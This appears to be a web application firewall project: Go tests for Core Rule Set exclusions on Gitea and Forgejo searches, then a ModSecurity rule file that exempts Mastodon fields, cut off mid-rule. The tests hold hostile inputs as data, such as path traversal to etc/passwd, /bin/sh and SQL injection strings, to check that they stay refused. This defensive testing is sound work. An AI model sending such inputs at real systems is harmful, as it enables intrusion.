// of unadopted repositories. The forms that adopt or delete one post there.
const (
giteaAdminUnadoptedRepos = "/-/admin/repos/unadopted"
forgejoAdminUnadoptedRepos = "/admin/repos/unadopted"
)
// giteaSearches are searches of the pages gitea and Forgejo share whose q
// skips the lists of system files and command names, in the eighth change.
// gitea serves its admin pages under /-/admin/ and Forgejo under /admin/.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaSearches = []string{
"/notifications/watching",
"/org/acme/milestones/developers",
"/org/acme/teams/-/search",
"/alice/-/projects",
"/alice/-/packages/generic/tools-cli/versions",
"/alice/-/packages/npm/@alice%2Ftools-cli/versions",
"/alice/tools/milestones",
"/alice/tools/projects",
"/alice/tools/issues/suggestions",
"/alice/tools/settings/actions/runners",
"/org/acme/settings/actions/runners",
"/user/settings/actions/runners",
"/-/admin/actions/runners",
"/-/admin/users",
"/-/admin/orgs",
"/-/admin/repos",
giteaAdminUnadoptedRepos,
"/-/admin/emails",
"/-/admin/emails/activate",
"/admin/actions/runners",
"/admin/users",
forgejoAdminUnadoptedRepos,
"/admin/emails/activate",
}
// giteaTagAndPackageSearches are the searches of tags and packages, whose q
// also lets /bin/sh through, since a tag or package name can hold a slash.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaTagAndPackageSearches = []string{
"/alice/tools/tags",
"/alice/tools/packages",
"/-/admin/packages",
"/admin/packages",
}
func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The forms that adopt a repository and activate an email send the
// admin page's search in q, as gitea 1.27.3 and Forgejo 17.0.1 do.
for _, value := range hardValues {
adopt := "id=alice%2Flegacy-site&action=adopt&q=" + value + "&page=1"
for _, path := range []string{giteaAdminUnadoptedRepos, forgejoAdminUnadoptedRepos} {
r := request{http.MethodPost, path, []string{formData}}
wantBody(t, crs, r, adopt, coreruleset.Result{}, adopt)
}
activate := "sort=email&q=" + value + "&is_primary=&is_activated=" +
"&uid=2&email=bob%40example.com&primary=1&activate=0"
for _, path := range []string{"/-/admin/emails/activate", "/admin/emails/activate"} {
r := request{http.MethodPost, path, []string{formData}}
wantBody(t, crs, r, activate, coreruleset.Result{}, activate)
}
}
}
func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := readingBodies(t)
// The admin forms send the repository's owner and name in id, and the
// form in a user's settings only its name. robin/assets holds bin/as, a
// shell path.
ownerAndName := []string{
"alice%2Fpython3-app",
"alice%2Fpowershell-scripts",
"alice%2F.profile",
"robin%2Fassets",
}
for _, form := range []struct {
path string
ids []string
}{
{giteaAdminUnadoptedRepos, ownerAndName},
{forgejoAdminUnadoptedRepos, ownerAndName},
{
"/user/settings/repos/unadopted", // gitea's and Forgejo's
[]string{"python3-app", "powershell-scripts", ".profile"},
},
} {
r := request{http.MethodPost, form.path, []string{formData}}
for _, action := range []string{"adopt", "delete"} {
for _, id := range form.ids {
body := "id=" + id + "&action=" + action
wantBody(t, crs, r, body, coreruleset.Result{}, body)
}
}
// Another field keeps those rules.
body := "id=" + form.ids[0] + "&action=adopt&page=python3"
wantBody(t, crs, r, body, matched(932260), body)
// Attacks in id are still refused.
for _, attack := range []string{
sqlInjection,
scriptInjection,
commandInjection,
"..%2F..%2Fetc%2Fpasswd",
} {
body := "id=" + attack + "&action=adopt"
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
t.Errorf("POST %s %s let through: %+v", form.path, body, got)
}
}
}
// On another path, id keeps those rules.
r := request{http.MethodPost, "/-/admin/repos", []string{formData}}
body := "id=alice%2Fpython3-app&action=adopt&q=&page=1"
wantBody(t, crs, r, body, matched(932260), body)
}
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, path := range slices.Concat(giteaSearches, giteaTagAndPackageSearches) {
for _, attack := range []string{
sqlInjection, pathTraversal, scriptInjection, commandInjection,
} {
if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
}
// The same field in a form data body.
r := request{http.MethodPost, path, []string{formData}}
if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
}
}
}
}
func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
// /bin/sh stays refused in q on the searches that are not of tags or
// packages.
for _, path := range giteaSearches {
if got := inspect(t, crs, get(path+"?q=%2Fbin%2Fsh")); got.Score < threshold {
t.Errorf("%s?q=%%2Fbin%%2Fsh let through: %+v", path, got)
}
}
attacks := []string{binSh, commandInjection, pathTraversal}
// /bin/sh, a shell command after a ";", a path traversal and the hard
// values stay refused in q on paths near the searches, and in another
// field on them.
for _, target := range []string{
"/org/acme/teams?q=",
"/org/acme/teams/-/search/x?q=",
"/org/acme/issues/developers/x?q=",
"/alice/-/projects/1?q=",
"/alice/-/packages/generic/tools-cli/1.0.0?q=",
"/alice/tools/milestones/new?q=",
"/alice/tools/milestone/new?q=",
"/alice/tools/projects/1?q=",
"/alice/tools/packages/x?q=",
"/alice/tools/tags/v1.0?q=",
"/alice/tools/issues/1?q=",
"/alice/tools/settings/actions?q=",
"/user/settings/actions?q=",
"/-/admin/users/1/edit?q=",
"/-/admin/emails/delete?q=",
"/-/admin/actions/runners/1?q=",
"/-/admin/packages/delete?q=",
"/alice/tools/milestones?other=",
"/alice/tools/milestone/1?other=",
"/alice/tools/tags?other=",
"/org/acme/issues/developers?other=",
"/org/acme/teams/-/search?other=",
"/-/admin/users?other=",
"/-/admin/packages?other=",
} {
for _, value := range slices.Concat(attacks, hardValues) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got)
}
}
}
// Under /admin/, where Forgejo serves its admin pages, only the hard
// values are left out: the tenth change lets them through in q on every
// path there, for Drupal.
for _, target := range []string{
"/admin/packages/delete?q=",
"/admin/packages?other=",
} {
for _, value := range attacks {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got)
}
}
}
// Referer keeps its rules on a page opened from a path near the
// searches of one team and of one milestone.
for _, path := range []string{
"/org/acme/issues/developers/x",
"/alice/tools/milestone/new",
} {
for _, attack := range []string{scriptTag, injection} {
referer := "Referer: http://example.com" + path + "?q=" + attack
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
t.Errorf("%s let through: %+v", referer, got)
}
}
}
}
// giteaAPISearches are the API's searches that gitea and Forgejo share whose
// field skips the lists of system files and command names. Each ends in the
// field it sends its words in.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaAPISearches = []string{
"/api/v1/users/search?q=",
"/api/v1/topics/search?q=",
"/api/v1/orgs/acme/teams/search?q=",
"/api/v1/admin/emails/search?q=",
"/api/v1/admin/unadopted?query=",
"/api/v1/repos/alice/tools/milestones?name=",
}
// giteaAPIPackageSearch is the API's search of an owner's packages, whose q
// also lets /bin/sh through, since a package name can hold a slash.
const giteaAPIPackageSearch = "/api/v1/packages/alice?q="
func TestGiteaAttacksAreRefusedInItsAPISearches(t *testing.T) {
t.Parallel()
checkSearchesRefuseAttacks(
t,
giteaAPISearches,
[]string{giteaAPIPackageSearch},
)
}
// checkSearchesRefuseAttacks checks that SQL injection, a path traversal,
// script injection and a shell command stay refused in the field of each
// search, in the query string and in a form data body. Each search ends in
// its field. /bin/sh stays refused too in the field of each of
// refusingBinSh, but not of lettingBinSh.
func checkSearchesRefuseAttacks(
t *testing.T, refusingBinSh, lettingBinSh []string,
) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, search := range slices.Concat(refusingBinSh, lettingBinSh) {
path, field, _ := strings.Cut(search, "?")
for _, attack := range []string{
sqlInjection, pathTraversal, scriptInjection, commandInjection,
} {
if got := inspect(t, defaults, get(search+attack)); got.Score < threshold {
t.Errorf("GET %s%s let through: %+v", search, attack, got)
}
// The same field in a form data body.
r := request{http.MethodPost, path, []string{formData}}
if got, _ := inspectBody(t, bodies, r, field+attack); got.Score < threshold {
t.Errorf(
"POST %s %s%s let through: %+v",
path,
field,
attack,
got,
)
}
}
}
for _, search := range refusingBinSh {
if got := inspect(t, defaults, get(search+binSh)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", search, binSh, got)
}
}
}
func TestGiteaAPISearchExclusionsAreNarrow(t *testing.T) {
t.Parallel()
// Each search's field on paths near the searches, and another field on
// them.
checkValuesStayRefused(t, []string{
"/api/v1/topics/search/x?q=",
"/api/v1/orgs/acme/teams?q=",
"/api/v1/orgs/acme/teams/search/x?q=",
"/api/v1/admin/emails?q=",
"/api/v1/admin/unadopted/alice/legacy-site?query=",
"/api/v1/admin/users?query=",
"/api/v1/repos/alice/tools/milestones/1?name=",
"/api/v1/repos/alice/tools/labels?name=",
"/api/v1/packages/alice/generic/tools-cli?q=",
"/api/v1/topics/search?other=",
"/api/v1/orgs/acme/teams/search?other=",
"/api/v1/admin/emails/search?other=",
"/api/v1/admin/unadopted?q=",
"/api/v1/repos/alice/tools/milestones?q=",
"/api/v1/packages/alice?other=",
})
}
// checkValuesStayRefused checks that /bin/sh, a shell command after a ";", a
// path traversal and the hard values stay refused at the end of each target.
func checkValuesStayRefused(t *testing.T, targets []string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
for _, target := range targets {
for _, value := range slices.Concat(
[]string{binSh, commandInjection, pathTraversal},
hardValues,
) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got)
}
}
}
}
// giteaRegistrySearches are the package registries' searches whose field
// skips the lists of system files and command names. Each ends in the field
// it sends its words in.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaRegistrySearches = []string{
"/api/packages/alice/cargo/api/v1/crates?q=",
"/api/packages/alice/chef/api/v1/search?q=",
"/api/packages/alice/chef/api/v1/cookbooks?q=",
"/api/packages/alice/nuget/query?q=",
"/api/packages/alice/nuget/Search()?searchTerm=",
"/api/packages/alice/nuget/Packages()?$filter=",
"/api/packages/alice/nuget/Search()/$count?searchTerm=",
"/api/packages/alice/nuget/Packages()/$count?$filter=",
}
// giteaRegistrySearchesLettingBinSh are the package registries' searches
// whose field also lets /bin/sh through, since a Composer, Conan or npm name
// can hold a slash.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaRegistrySearchesLettingBinSh = []string{
"/api/packages/alice/composer/search.json?q=",
"/api/packages/alice/conan/v1/conans/search?q=",
"/api/packages/alice/conan/v2/conans/search?q=",
"/api/packages/alice/npm/-/v1/search?text=",
}
func TestGiteaAttacksAreRefusedInItsRegistrySearches(t *testing.T) {
t.Parallel()
checkSearchesRefuseAttacks(
t,
giteaRegistrySearches,
giteaRegistrySearchesLettingBinSh,
)
}
func TestGiteaRegistrySearchExclusionsAreNarrow(t *testing.T) {
t.Parallel()
// Each search's field on paths near the searches, and another field on
// them.
checkValuesStayRefused(t, []string{
"/api/packages/alice/cargo/api/v1/crates/tools-cli?q=",
"/api/packages/alice/chef/api/v1/cookbooks/tools?q=",
"/api/packages/alice/composer/packages.json?q=",
"/api/packages/alice/conan/v1/conans/tools/1.0/alice/stable/search?q=",
"/api/packages/alice/nuget/query/x?q=",
"/api/packages/alice/nuget/FindPackagesById()?id=",
"/api/packages/alice/nuget/FindPackagesById()/$count?id=",
"/api/packages/alice/nuget/Search()/$count/x?searchTerm=",
"/api/packages/alice/npm/tools-cli?text=",
"/api/packages/alice/cargo/api/v1/crates?other=",
"/api/packages/alice/chef/api/v1/search?other=",
"/api/packages/alice/composer/search.json?type=",
"/api/packages/alice/conan/v2/conans/search?other=",
"/api/packages/alice/nuget/query?other=",
"/api/packages/alice/nuget/Search()?targetFramework=",
"/api/packages/alice/nuget/Packages()?$orderby=",
"/api/packages/alice/nuget/Search()/$count?targetFramework=",
"/api/packages/alice/nuget/Packages()/$count?$orderby=",
"/api/packages/alice/npm/-/v1/search?q=",
})
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
// The rule for MongoDB operators (942290) still refuses the name of
// another operator on NuGet's searches, and $filter on NuGet's other
// paths. The rule for SQL injection (942100) still refuses tools/* in a
// field other than a Conan search's, SQL injection in a second q after a
// Conan pattern, SQL comments that stand in for spaces, and SQL injection
// holding + or --.
for _, target := range []string{
"/api/packages/alice/nuget/Search()?$where=1",
"/api/packages/alice/nuget/Packages()?$ne=1",
"/api/packages/alice/nuget/Search()/$count?$where=1",
"/api/packages/alice/nuget/FindPackagesById()?$filter=IsLatestVersion",
"/api/packages/alice/nuget/FindPackagesById()/$count?$filter=IsLatestVersion",
"/api/packages/alice/composer/search.json?q=tools%2F%2A",
"/api/packages/alice/conan/v2/conans/search?other=tools%2F%2A",
"/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A&q=" +
sqlInjection,
"/api/packages/alice/conan/v2/conans/search?q=1%2F%2A%2A%2For%2F%2A%2A%2F1",
"/api/packages/alice/conan/v2/conans/search?q=1%2F%2A%40%2A%2For-1",
"/api/packages/alice/conan/v2/conans/search?q=1%2Bor%2B1--",
"/api/packages/alice/conan/v2/conans/search?q=1-or-1--",
} {
if got := inspect(t, crs, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
// SQL injection in a q in the body is refused, even after a Conan
// pattern in the query string.
search := request{
http.MethodPost,
"/api/packages/alice/conan/v2/conans/search?q=zlib",
[]string{formData},
}
body := "q=" + sqlInjection
if got, _ := inspectBody(t, readingBodies(t), search, body); got.Score < threshold {
t.Errorf("POST %s %s let through: %+v", search.target, body, got)
}
// The rule that lets a Conan pattern through is in phase 2, where it
// checks tx.app_gitea itself: a hostname that does not serve gitea
// refuses the pattern.
pattern := get(
"/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A",
)
apps := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {wordpress},
})
wantResult(t, apps, withHost(pattern, giteaHost), coreruleset.Result{})
wantResult(t, apps, withHost(pattern, otherHost), matched(942100))
}
+308
View File
@@ -0,0 +1,308 @@
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that
# refused ordinary Mastodon requests there. They are the fields where Mastodon
# sends a search, a name, a title, a file name, an address or free text. Each
# exclusion runs with the request, before the rules it switches off, so this
# file is loaded before the Core Rule Set's rules. Each comment names a request
# a rule refused. An exclusion on a field of a body applies only when the query
# has no parameter of that name, so it matters only while
# SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
#
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
# resources under them count as Mastodon's paths.
#
# Four rules read a search, a name or free text as a command or a system file.
# Each exclusion below for such a field removes these four, and only these:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Every rule below is skipped unless Inspect has set tx.app_mastodon. It sets
# it while SWW_WAF_APPS is unset, or lists mastodon for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mastodon itself.
SecRule &TX:app_mastodon "@eq 0" \
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
# The API's searches and names, in the query:
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
# acct: /api/v1/accounts/lookup?acct=python3
# username, display_name, email, by_domain: the admin API's search of
# accounts, /api/v1/admin/accounts?username=python3&display_name=powershell
SecRule REQUEST_FILENAME "@rx ^/api/v[12]/(?:search|accounts|admin/accounts)(?:/|$)" \
"id:900950,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/"
# The API's titles, names and free text, in form data or JSON bodies:
# spoiler_text, poll[options][]: posting, spoiler_text=python3+details
# description: describing an uploaded file, description=Screenshot+of+ls+-la
# display_name, note, fields_attributes[0][name], fields_attributes[0][value]:
# editing a profile, note=python3+and+powershell
# title: naming a list or a filter, title=python3+friends
# keyword, keywords_attributes[][keyword]: a filter's words, keyword=powershell
# name: featuring a hashtag, name=python3
# comment: a report, a note on an account or an IP block, comment=Knows+python3
# text: warning an account, text=Please+stop+posting+powershell+malware
# private_comment, public_comment: blocking a domain
# The web app sends these in JSON:
# spoiler_text, title and the poll's options
# description, and media_attributes[].description when it edits a post
# display_name, note and fields_attributes[].name and .value, on
# /api/v1/profile, {"note":"ls -la shows the .htaccess file"}
# comment, on a report or a note on an account
SecRule REQUEST_FILENAME "@rx ^/api/v[12]/(?:statuses|media|accounts|profile|lists|filters|featured_tags|reports|admin/(?:accounts|domain_blocks|ip_blocks))(?:/|$)" \
"id:900951,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/"
# A post's text, in status, form data from an app or JSON from the web app.
# Each of these rules refused posting "Today I learned: `ls -la ~/.config`
# lists hidden files, and `python3 -m http.server` serves a folder", so they
# skip status: the four rules, 932125, 932230 and 932235.
SecRule REQUEST_FILENAME "@rx ^/api/v1/statuses(?:/|$)" \
"id:900952,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?status$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?status$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?status$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?status$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?status$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:json\.)?status$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?status$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?status$/"
# Uploaded files' names skip 932180, which refused uploading
# "Example .htaccess.png" as a server's own file, for a post or as a profile's
# picture. Coraza keeps these names without the field each came in. Mastodon
# refuses a file of a type it does not allow.
SecRule REQUEST_FILENAME "@rx ^/api/v[12]/media$|^/api/v1/accounts/update_credentials$|^/api/v1/profile$" \
"id:900953,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932180;FILES"
# The admin pages' searches, in the query:
# username, display_name, email: /admin/accounts?username=python3
# by_domain: /admin/instances?by_domain=python3
# shortcode: /admin/custom_emojis?shortcode=python3
# name: /admin/tags?name=python3
SecRule REQUEST_FILENAME "@rx ^/admin/(?:accounts|instances|custom_emojis|tags)$" \
"id:900954,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/"
# The admin pages' free text, in bodies:
# domain_block[private_comment], domain_block[public_comment]: blocking a
# domain, "Spam about powershell and .htaccess"
# ip_block[comment]: blocking an address
# rule[text], rule[hint]: a server rule, "No posting of powershell malware"
# announcement[text]: an announcement
# form_admin_settings[site_title], [site_short_description],
# [site_extended_description]: the server's name and descriptions,
# "Python3 social"
# admin_account_action[text]: warning an account, on
# /admin/accounts/<id>/action
# report_note[content], account_moderation_note[content]: a moderator's
# note on a report or an account, "ls -la shows the .htaccess file"
# account_warning_preset[title], [text]: a preset warning
# user_role[name]: a role
# terms_of_service[text], [changelog]: the terms of service
SecRule REQUEST_FILENAME "@rx ^/admin/(?:domain_blocks|ip_blocks|rules|announcements|settings|accounts/[^/]+/action|report_notes|account_moderation_notes|warning_presets|roles|terms_of_service)(?:/|$)" \
"id:900955,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/"
# The settings pages' names, words and addresses, and passwords, in bodies:
# custom_filter[title], custom_filter[keywords_attributes][0][keyword]: a
# filter, "python3 spam" and "ls -la"
# doorkeeper_application[name], doorkeeper_application[website]: an
# application, "https://example.org/powershell"
# account_alias[acct], account_migration[acct]: moving an account
# user[password], user[password_confirmation], user[current_password]:
# signing in, signing up and changing the password
# user[invite_request_attributes][text]: why someone signs up, while sign-ups
# need approval
# account_migration[current_password], form_redirect[current_password],
# form_delete_confirmation[password]: moving or deleting an account
SecRule REQUEST_FILENAME "@rx ^/(?:filters|settings/(?:applications|aliases|migration|delete)|auth)(?:/|$)" \
"id:900956,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
# The web app's search page: /search?q=python3.
SecRule REQUEST_FILENAME "@streq /search" \
"id:900957,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# Deliveries from other servers to an inbox, in JSON. The fields of the object
# delivered skip the four rules:
# content, contentMap: a post, "<p>notes on python3, powershell, ...</p>"
# summary, summaryMap: a post's content warning, or a profile's text
# name: a profile's name, "Alice powershell"
# attachment: a picture's description, or a profile's fields
# oneOf, anyOf: a poll's options, "python3"
SecRule REQUEST_FILENAME "@rx ^/(?:inbox|users/[^/]+/inbox|ap/users/[0-9]+/inbox)$" \
"id:900958,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.object\./ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/"
# When someone on another server looks up a link to a profile or a post here,
# such as /@admin or /@admin/117589811962372311, that server fetches the link
# with this header. It sends it again to the account or post the link leads to.
# 920600 refused it as a malformed Accept header:
# Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams",
# application/activity+json, text/html;q=0.1
SecRule REQUEST_FILENAME "@rx ^/@[^/]+(?:/[0-9]+)?$|^/(?:ap/)?users/|^/actor$" \
"id:900959,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920600;REQUEST_HEADERS:Accept"
# Signing up through the API, in form data or JSON:
# password, reason: password=ls+-la+shows+the+.htaccess+file
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
"id:900960,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?(?:password|reason)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:password|reason)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?(?:password|reason)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
